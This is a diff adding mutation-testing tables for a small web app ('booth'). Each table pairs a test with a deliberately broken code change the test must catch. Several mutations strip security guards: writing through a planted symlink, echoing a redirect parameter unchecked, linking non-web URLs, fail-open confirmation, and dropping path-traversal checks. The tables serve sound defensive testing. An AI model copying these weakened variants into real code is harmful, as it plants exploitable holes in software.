label = "the legacy file is sniffed for JSON again (a `[\"a.png\"]` line blurs the neighbour)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_legacy_line_that_is_valid_json_still_reads_as_a_line"
|
||||
old = '''
|
||||
if path is legacy:
|
||||
return {ln.strip()'''
|
||||
new = '''
|
||||
if path is legacy:
|
||||
try:
|
||||
d = json.loads(text)
|
||||
if isinstance(d, list):
|
||||
return {r for r in d if isinstance(r, str)}
|
||||
except ValueError:
|
||||
pass
|
||||
return {ln.strip()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "no postcondition: a planted directory's OSError is swallowed as success"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_planted_directory_at_the_blur_file_is_a_refusal_not_a_crash"
|
||||
old = '''
|
||||
if read_blurred(booth) != current:'''
|
||||
new = '''
|
||||
if False:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the route turns a disk-state refusal into a 500"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_blur.py::test_the_route_answers_a_planted_directory_with_409"
|
||||
old = '''
|
||||
raise HTTPException(status_code=409, detail=str(exc))'''
|
||||
new = '''
|
||||
raise'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a lone surrogate from a planted file reaches the writer"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_lone_surrogate_in_the_file_is_skipped_and_writes_still_work"
|
||||
old = '''
|
||||
return {r for r in data if isinstance(r, str) and r and _encodable(r)}'''
|
||||
new = '''
|
||||
return {r for r in data if isinstance(r, str) and r}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the writer writes a set the reader would refuse and read as nothing"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_writer_never_writes_a_set_the_reader_would_refuse"
|
||||
old = '''
|
||||
if len(body) > BLUR_MAX_BYTES:'''
|
||||
new = '''
|
||||
if False:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an empty item path is accepted and stored"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_cli_refuses_an_empty_item_path_before_writing"
|
||||
old = '''
|
||||
if not rel or rel.startswith("/") or ".." in rel.split("/"):'''
|
||||
new = '''
|
||||
if rel.startswith("/") or ".." in rel.split("/"):'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a double dot INSIDE a name is refused (the old `*..*` substring rule)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_cli_accepts_a_double_dot_inside_a_name"
|
||||
old = '''
|
||||
if not rel or rel.startswith("/") or ".." in rel.split("/"):'''
|
||||
new = '''
|
||||
if not rel or rel.startswith("/") or ".." in rel:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the CLI dies with a traceback when its package is missing"
|
||||
file = "scripts/booth"
|
||||
test = "tests/test_blur.py::test_the_cli_fails_closed_without_its_package"
|
||||
old = '''
|
||||
except ImportError as exc:
|
||||
src = os.environ["BOOTH_SRC"]'''
|
||||
new = '''
|
||||
except ZeroDivisionError as exc:
|
||||
src = os.environ["BOOTH_SRC"]'''
|
||||
|
||||
# ---- reads lenient, writes strict (groa's retry; the .marks.json lesson) -------
|
||||
|
||||
[[mutation]]
|
||||
label = "the writer builds on the lenient reader (an unreadable set is overwritten)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_an_unreadable_blur_file_is_never_overwritten"
|
||||
old = '''
|
||||
current = _load(booth)'''
|
||||
new = '''
|
||||
current = read_blurred(booth)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an unreadable or oversized regular file reads as empty for the writer"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_an_oversized_blur_file_is_never_overwritten"
|
||||
old = '''
|
||||
raise BlurUnwritable(f"{path.name} in {booth.name!r} is not a readable file of sane size")'''
|
||||
new = '''
|
||||
return set()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a malformed set reads as empty for the writer"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_malformed_blur_file_is_never_overwritten"
|
||||
old = '''
|
||||
raise BlurUnwritable(f"{BLUR_FILE} in {booth.name!r} is not JSON") from exc'''
|
||||
new = '''
|
||||
return set()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the set is written 0600 (mkstemp's default)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_blur_file_is_world_readable_as_it_always_was"
|
||||
old = '''
|
||||
os.fchmod(fd, 0o644)'''
|
||||
new = '''
|
||||
pass'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a link or a FIFO at the name blocks the writer instead of reading as no set"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_write_replaces_a_planted_symlink_rather_than_writing_through_it"
|
||||
old = '''
|
||||
if not stat.S_ISREG(st.st_mode):
|
||||
return set()'''
|
||||
new = '''
|
||||
pass'''
|
||||
@@ -0,0 +1,224 @@
|
||||
# R2 — the review flow: falsifiers the round claims, and the change each forbids.
|
||||
#
|
||||
# Every row was proved RED under its mutation in the session that wrote it,
|
||||
# then committed here so the proof is an artifact rather than scrollback. The
|
||||
# browser rows need the Playwright Chromium the browser tests already use.
|
||||
#
|
||||
# Deliberately ABSENT: single guards inside a defence in depth, each of which
|
||||
# stays green when removed alone because another layer still holds — so a row
|
||||
# for any one of them would be a vacuous proof, and this table's own first run
|
||||
# said so. `.seen`'s O_NOFOLLOW, O_NONBLOCK and S_ISREG (the FIFO/symlink test
|
||||
# covers them together); and `flagged_targets`' `error is None`, since
|
||||
# hydration already strips the target from a damaged mark.
|
||||
#
|
||||
# RETIRED (r2c S3, 2026-09-23): the row on the next arrow's 360px rail offset —
|
||||
# the arrows now sit at the drawn picture, clamped inside the stage; the test was
|
||||
# replaced as declared in r2c's contract, and its successors are in r2c.toml.
|
||||
#
|
||||
# RETIRED (r2b D1, 2026-09-23): four rows proving the facts-line row controls
|
||||
# (visible at rest, compact, on the facts line) — the operator ruled those
|
||||
# controls hover-revealed over the preview strip, and their tests were replaced
|
||||
# as declared in r2b's contract. Their successors are in r2b.toml.
|
||||
#
|
||||
# The serialization row is only a falsifier because its test HOLDS the first
|
||||
# refresh in the client: localhost alone never lost the race, and the first
|
||||
# draft of that test stayed green with serialization deleted.
|
||||
|
||||
unit = "the Desk, the lightbox, the review, and the in-place client"
|
||||
|
||||
[[mutation]]
|
||||
label = 'C1 ordinals count from 0, not 1'
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_flow.py::test_a_filtered_tile_keeps_its_number_in_the_whole_set"
|
||||
old = '''ordinal=len(items) + 1,'''
|
||||
new = '''ordinal=len(items),'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C2 .seen: a nested-too-deep marker escapes the never-raises read'
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_flow.py::test_a_deeply_nested_seen_marker_reads_as_nothing_seen"
|
||||
old = '''except (UnicodeDecodeError, ValueError, RecursionError):'''
|
||||
new = '''except (UnicodeDecodeError, ValueError):'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 a non-finite q is accepted as a q-value'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_a_non_finite_q_is_malformed"
|
||||
old = ''' raise ValueError("non-finite q")'''
|
||||
new = ''' pass'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 204 on an explicit JSON Accept becomes the 303'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_an_explicit_json_accept_gets_204_and_the_write_still_lands"
|
||||
old = ''' return Response(status_code=204)'''
|
||||
new = ''' pass'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 back=view lands on the review for a doc too (ring check dropped)'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_back_view_lands_on_the_review_only_for_a_media_item"
|
||||
old = ''' if f in ring:'''
|
||||
new = ''' if True:'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C4 the Desk counts orphan flags'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_a_flag_on_a_file_that_is_gone_stays_visible_and_withdrawable"
|
||||
old = '''"flags": len(flagged_targets(marks) & {it.rel for it in items}),'''
|
||||
new = '''"flags": len(flagged_targets(marks)),'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C4 landed_at follows symlinks'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_the_content_clock_reads_the_booth_not_what_its_links_point_at"
|
||||
old = ''' st = p.lstat()'''
|
||||
new = ''' st = p.stat()'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C4 one unreadable entry reads the whole booth as landed NOW'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_one_unreadable_entry_costs_that_entry_not_the_booth"
|
||||
old = '''pin it in "new" forever.
|
||||
continue'''
|
||||
new = '''pin it in "new" forever.
|
||||
return time.time()'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C4 a non-web bookmark URL becomes a link'
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow.py::test_the_desk_never_makes_a_non_web_url_clickable"
|
||||
old = '''{% set web = e.url.lower().startswith(('http://', 'https://')) %}'''
|
||||
new = '''{% set web = true %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C4 a non-web bench URL becomes a link'
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow.py::test_the_desk_never_makes_a_non_web_url_clickable"
|
||||
old = '''{% set web = b.url.lower().startswith(('http://', 'https://')) %}'''
|
||||
new = '''{% set web = true %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C5 audio/video tiles lose their review link'
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_a_sound_only_booth_can_open_the_review"
|
||||
old = '''{% if it.kind in ('video', 'audio') %}<a class="rv-link"'''
|
||||
new = '''{% if false %}<a class="rv-link"'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C6 a NUL in ?f escapes as a 500'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_a_nul_in_the_review_path_is_a_404_not_a_500"
|
||||
old = ''' except (OSError, ValueError):
|
||||
# ValueError: an embedded NUL.'''
|
||||
new = ''' except OSError:
|
||||
# ValueError: an embedded NUL.'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 client: no busy guard (a double-click writes twice)'
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_an_unsaved_choice_survives_a_save_elsewhere_and_a_double_click_writes_once"
|
||||
old = ''' if (form.__busy) return;
|
||||
'''
|
||||
new = ''''''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 client: an unsent radio is not carried across a swap'
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_an_unsaved_choice_survives_a_save_elsewhere_and_a_double_click_writes_once"
|
||||
old = ''' if (el.checked !== el.defaultChecked) t.checked = el.checked;'''
|
||||
new = ''''''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 client: saves are not serialized'
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_quick_successive_flags_all_show"
|
||||
old = ''' queue = queue.then(function () { return run(form, data); })'''
|
||||
new = ''' queue = run(form, data)'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 the standalone marks page has no region'
|
||||
file = "booth/templates/marks.html"
|
||||
test = "tests/test_flow_browser.py::test_the_standalone_marks_page_updates_in_place"
|
||||
old = '''<div class="marks-panel" data-region="marks-panel">'''
|
||||
new = '''<div class="marks-panel">'''
|
||||
|
||||
[[mutation]]
|
||||
label = "resolver: an entry that cannot be stat'd raises out of booth_items"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_items.py::test_a_folder_that_lists_but_cannot_be_searched_costs_its_files_not_the_index"
|
||||
old = '''
|
||||
if not p.is_file():
|
||||
continue
|
||||
except OSError:
|
||||
continue'''
|
||||
new = '''
|
||||
if not p.is_file():
|
||||
continue
|
||||
except FileNotFoundError:
|
||||
continue'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the stacked Desk column is a bare 1fr (content sets its minimum)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_desk_never_scrolls_sideways_at_any_width"
|
||||
old = '''
|
||||
@media (max-width:1000px){.desk{grid-template-columns:minmax(0,1fr)}}'''
|
||||
new = '''
|
||||
@media (max-width:1000px){.desk{grid-template-columns:1fr}}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a long unbreakable install path in <code> scrolls the page sideways"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_desk_never_scrolls_sideways_at_any_width"
|
||||
old = '''
|
||||
padding:1px 6px;border-radius:var(--radius-sm);border:1px solid var(--border-subtle);overflow-wrap:anywhere}'''
|
||||
new = '''
|
||||
padding:1px 6px;border-radius:var(--radius-sm);border:1px solid var(--border-subtle)}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the row's text column cannot shrink (the 700-1000px window overflows)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_desk_never_scrolls_sideways_at_any_width"
|
||||
old = '''
|
||||
.desk-main{flex:1 1 auto;min-width:0}'''
|
||||
new = '''
|
||||
.desk-main{flex:1 1 auto}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the wipe dialog shows the agent-made name raw (bidi, newline)"
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow_browser.py::test_the_wipe_dialog_shows_what_is_being_wiped_and_never_fails_open"
|
||||
old = '''
|
||||
if (!confirm(word(shown(form.getAttribute('data-booth') || '')))) ev.preventDefault();'''
|
||||
new = '''
|
||||
if (!confirm(word(form.getAttribute('data-booth') || ''))) ev.preventDefault();'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an unknown data-confirm word submits with no prompt (fail open)"
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow_browser.py::test_the_wipe_dialog_shows_what_is_being_wiped_and_never_fails_open"
|
||||
old = '''
|
||||
var word = WORDS[form.getAttribute('data-confirm')] || ASK;
|
||||
if (!confirm('''
|
||||
new = '''
|
||||
var word = WORDS[form.getAttribute('data-confirm')];
|
||||
if (word && !confirm('''
|
||||
|
||||
[[mutation]]
|
||||
label = "everything else in activity order again (a look moves a booth up)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_everything_else_is_ordered_by_last_update_not_by_looking"
|
||||
old = '''
|
||||
rest.sort(key=lambda b: (-b["landed_at"], b["name"]))'''
|
||||
new = '''
|
||||
pass'''
|
||||
|
||||
[[mutation]]
|
||||
label = "everything else breaks an update tie by name reversed"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_everything_else_breaks_an_update_tie_by_name"
|
||||
old = '''
|
||||
rest.sort(key=lambda b: (-b["landed_at"], b["name"]))'''
|
||||
new = '''
|
||||
rest.sort(key=lambda b: (b["landed_at"], b["name"]), reverse=True)'''
|
||||
@@ -0,0 +1,560 @@
|
||||
# R2b — the Desk row, Reveal all, the theme toggle: every falsifier the
|
||||
# contract claims (docs/contracts/r2b_desk_reveal_theme.contract.md), and the
|
||||
# change each forbids. Merge 1 is D2 + D2b (the blur half); merge 2 adds D1 + D3.
|
||||
|
||||
unit = "reveal all, the booth blur toggle (merge 1)"
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 reveal all does not lift the tile's blur"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_reveals_every_blurred_surface_and_survives_the_next_page"
|
||||
old = '''
|
||||
.reveal-all .item.blurred img,.reveal-all .item.blurred video,'''
|
||||
new = '''
|
||||
.reveal-all-OFF .item.blurred img,.reveal-all .item.blurred video,'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 no pre-paint re-application: the next page of the reel is blurred again"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_reveals_every_blurred_surface_and_survives_the_next_page"
|
||||
old = '''
|
||||
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');'''
|
||||
new = '''
|
||||
if (false) d.classList.add('reveal-all');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 the reveal is not scoped to the booth (any reveal in the tab reveals every booth)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_on_booth_a_does_not_reveal_booth_b_or_the_desk"
|
||||
old = '''
|
||||
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');'''
|
||||
new = '''
|
||||
if (b !== null && sessionStorage.length > 0) d.classList.add('reveal-all');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 per-tile reveal buttons do not stand down under reveal all"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_survives_an_in_place_save"
|
||||
old = '''
|
||||
.reveal-all .item.blurred .reveal,.reveal-all #vreveal{display:none}'''
|
||||
new = '''
|
||||
.reveal-all-OFF .item.blurred .reveal,.reveal-all #vreveal{display:none}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 blur again wipes each item's own reveal"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_blur_again_restores_each_items_own_reveal"
|
||||
old = '''
|
||||
var on = d.classList.toggle('reveal-all');
|
||||
try {'''
|
||||
new = '''
|
||||
var on = d.classList.toggle('reveal-all');
|
||||
document.querySelectorAll('.item.revealed').forEach(function (i) { i.classList.remove('revealed'); });
|
||||
try {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 a storage write that throws swallows the click"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_never_shows_without_js_and_a_storage_failure_still_applies_the_click"
|
||||
old = '''
|
||||
var on = d.classList.toggle('reveal-all');
|
||||
try {'''
|
||||
new = '''
|
||||
sessionStorage.setItem(key, '1');
|
||||
var on = d.classList.toggle('reveal-all');
|
||||
try {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 the control shows without JS (server markup not hidden)"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_never_shows_without_js_and_a_storage_failure_still_applies_the_click"
|
||||
old = '''
|
||||
{% if all_items | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title='''
|
||||
new = '''
|
||||
{% if all_items | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all title='''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 the control is markup even when nothing is blurred"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_reveal_all_is_in_the_markup_only_when_something_is_blurred_and_always_hidden"
|
||||
old = '''
|
||||
{% if all_items | selectattr('blurred') | list %}<button'''
|
||||
new = '''
|
||||
{% if true %}<button'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 the review page does not carry data-booth"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow.py::test_reveal_all_is_in_the_markup_only_when_something_is_blurred_and_always_hidden"
|
||||
old = '''
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}'''
|
||||
new = '''
|
||||
{% block html_attrs %}{% endblock %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2b the header control's label does not follow the server's fog state"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
|
||||
old = '''
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<button title="{{ 'un-blur the whole booth'''
|
||||
new = '''
|
||||
<input type="hidden" name="on" value="1">
|
||||
<button title="{{ 'un-blur the whole booth'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2b the review's control drops `back` (fogging ejects you from the review)"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
|
||||
old = '''
|
||||
<input type="hidden" name="back" value="{{ file }}">'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2b the Desk row does not say a booth is fogged"
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
|
||||
old = '''
|
||||
{% if b.booth_blurred %}<span class="badge badge-blur"'''
|
||||
new = '''
|
||||
{% if false %}<span class="badge badge-blur"'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2b an item blurred only by the booth offers a per-item un-blur that does nothing"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_under_a_fogged_booth_each_items_blur_control_tells_the_truth"
|
||||
old = '''
|
||||
{% if it.blurred and not it.blurred_self %}'''
|
||||
new = '''
|
||||
{% if false %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2b the per-item control reads the composed blur, not the item's own"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_under_a_fogged_booth_each_items_blur_control_tells_the_truth"
|
||||
old = '''
|
||||
"blurred_self": it.blurred_self,'''
|
||||
new = '''
|
||||
"blurred_self": it.blurred,'''
|
||||
|
||||
# ---- folds: the heid code-review ("BLITZ-2") and bug-hunt ("FENRIR-6") panels on merge 1
|
||||
|
||||
[[mutation]]
|
||||
label = "a board holding files loses the blur controls its labels point at"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_a_board_with_files_gets_the_blur_controls_its_labels_point_at"
|
||||
old = '''
|
||||
{% if all_items %}
|
||||
{# The fog form IS a region'''
|
||||
new = '''
|
||||
{% if not board %}
|
||||
{# The fog form IS a region'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a blurred doc's own page renders clear"
|
||||
file = "booth/templates/doc.html"
|
||||
test = "tests/test_flow.py::test_a_blurred_docs_own_page_is_blurred_too"
|
||||
old = '''
|
||||
<div class="docbody{% if blurred %} is-blurred{% endif %}" id="docbody">'''
|
||||
new = '''
|
||||
<div class="docbody" id="docbody">'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the review offers Reveal all when only a doc (off the ring) is blurred"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow.py::test_reveal_all_renders_where_it_can_act"
|
||||
old = '''
|
||||
{% if film | selectattr('blurred') | list %}<button'''
|
||||
new = '''
|
||||
{% if true %}<button'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the fog form is a GET (changes nothing with scripts off)"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
|
||||
old = '''<form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="post" action="/b/{{ name_url }}/blurbooth">
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<button title="{{ 'un-blur the whole booth — per-item'''
|
||||
new = '''<form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="get" action="/b/{{ name_url }}/blurbooth">
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<button title="{{ 'un-blur the whole booth — per-item'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the swap stops carrying an item's own reveal"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_an_items_own_reveal_survives_an_in_place_save"
|
||||
old = '''
|
||||
['revealed', 'is-closed'].forEach(function (c) {'''
|
||||
new = '''
|
||||
['is-closed'].forEach(function (c) {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a storage READ that throws raises out of the pre-paint script"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_never_shows_without_js_and_a_storage_failure_still_applies_the_click"
|
||||
old = '''
|
||||
try {
|
||||
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');
|
||||
} catch (e) {}'''
|
||||
new = '''
|
||||
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "fogging writes through a planted marker link"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_fogging_never_writes_through_a_planted_marker_link"
|
||||
old = '''
|
||||
try:
|
||||
os.lstat(marker)
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
try:
|
||||
os.close(os.open(marker, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o644))
|
||||
except FileExistsError:
|
||||
pass # lost a race to another fog: still fogged
|
||||
return True'''
|
||||
new = '''
|
||||
marker.touch(exist_ok=True)
|
||||
return True'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the fog landing echoes `back` unchecked"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_the_fog_landing_is_built_from_the_ring_never_echoed"
|
||||
old = '''
|
||||
if back and back in review_chain(booth_items(booth)):'''
|
||||
new = '''
|
||||
if back:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the fog form is outside every region (a swap leaves its label stale)"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
|
||||
old = '''
|
||||
<span class="region-wrap" data-region="blur-booth"><form class="blur-all'''
|
||||
new = '''
|
||||
<span class="region-wrap"><form class="blur-all'''
|
||||
|
||||
[[mutation]]
|
||||
label = "Space on a focused review button moves to the next item"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_space_on_a_focused_review_button_presses_it_and_does_not_move_on"
|
||||
old = '''e.target !== player && !(e.target.closest && e.target.closest('button, a, summary'))) {'''
|
||||
new = '''e.target !== player) {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the top-bar controls squeeze into multi-line stacks at phone width"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_review_and_doc_top_bars_fit_a_phone"
|
||||
# r3 re-anchored this row. r3 added a Compare control to the review's bar and
|
||||
# made a full bar WRAP at phone width (a fogged booth already overflowed it by
|
||||
# 3px at 390). A wrapping bar never squeezes, so removing the no-wrap rules
|
||||
# alone went VACUOUS: the property is now held by both. The defeating change is
|
||||
# losing both; r3.toml rows the wrap on its own.
|
||||
old = '''
|
||||
.blur-all button,.reveal-all-btn{white-space:nowrap}
|
||||
@media (max-width:600px){.reveal-all-btn .ra-note{display:none}}
|
||||
/* R3: the review's Compare control keeps only its glyph at phone width; its
|
||||
title still says what it does (and C does it). */
|
||||
@media (max-width:600px){.vcompare-l{display:none}}
|
||||
/* ...and at phone width a top bar that cannot hold its controls WRAPS rather
|
||||
than scrolling the page sideways. The review's bar was full before R3 (a
|
||||
fogged booth overflowed it by 3px at 390); compare's bar holds more. */
|
||||
@media (max-width:600px){.vbar{flex-wrap:wrap;row-gap:6px}}'''
|
||||
new = '''
|
||||
@media (max-width:600px){.vcompare-l{display:none}}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the Desk strip under another booth's reveal is lifted by a whisker (blur(0px) is not blurred)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_on_booth_a_does_not_reveal_booth_b_or_the_desk"
|
||||
old = '''
|
||||
.blurred-thumb{filter:blur(16px)}'''
|
||||
new = '''
|
||||
.blurred-thumb{filter:blur(0px)}'''
|
||||
|
||||
# ---- the flake: the test browser has no internet (positive control per file)
|
||||
|
||||
[[mutation]]
|
||||
label = "the flow test browser can reach the internet (Google Fonts can stall networkidle)"
|
||||
file = "tests/test_flow_browser.py"
|
||||
test = "tests/test_flow_browser.py::test_the_test_browser_has_no_internet"
|
||||
old = '''
|
||||
b = pw.chromium.launch(args=OFFLINE)'''
|
||||
new = '''
|
||||
b = pw.chromium.launch()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the embed test browser can reach the internet"
|
||||
file = "tests/test_embed_browser.py"
|
||||
test = "tests/test_embed_browser.py::test_the_test_browser_has_no_internet"
|
||||
old = '''
|
||||
b = pw.chromium.launch(args=OFFLINE)'''
|
||||
new = '''
|
||||
b = pw.chromium.launch()'''
|
||||
|
||||
# ---- merge 2: D1 the Desk row, D1b dates, D3 the theme toggle
|
||||
# Successors to the four r2_flow rows retired for D1. One branch is proved by
|
||||
# reading, not here: a true touch LAPTOP (fine pointer + a coarse one) cannot be
|
||||
# emulated — Chromium's touch emulation makes the primary pointer coarse.
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 the cluster is visible at rest"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_row_controls_take_no_room_where_a_hover_exists"
|
||||
old = '''
|
||||
opacity:0;pointer-events:none;transition:opacity var(--dur-1) var(--ease-out)}'''
|
||||
new = '''
|
||||
opacity:1;pointer-events:none;transition:opacity var(--dur-1) var(--ease-out)}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 hover shows the cluster but leaves it unclickable"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_row_controls_take_no_room_where_a_hover_exists"
|
||||
old = '''
|
||||
.desk-row:hover .desk-acts,.desk-row:focus-within .desk-acts{opacity:1;pointer-events:auto}'''
|
||||
new = '''
|
||||
.desk-row:hover .desk-acts,.desk-row:focus-within .desk-acts{opacity:1}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 the cluster stays in flow where a hover exists (it takes room)"
|
||||
file = "booth/templates/base.html"
|
||||
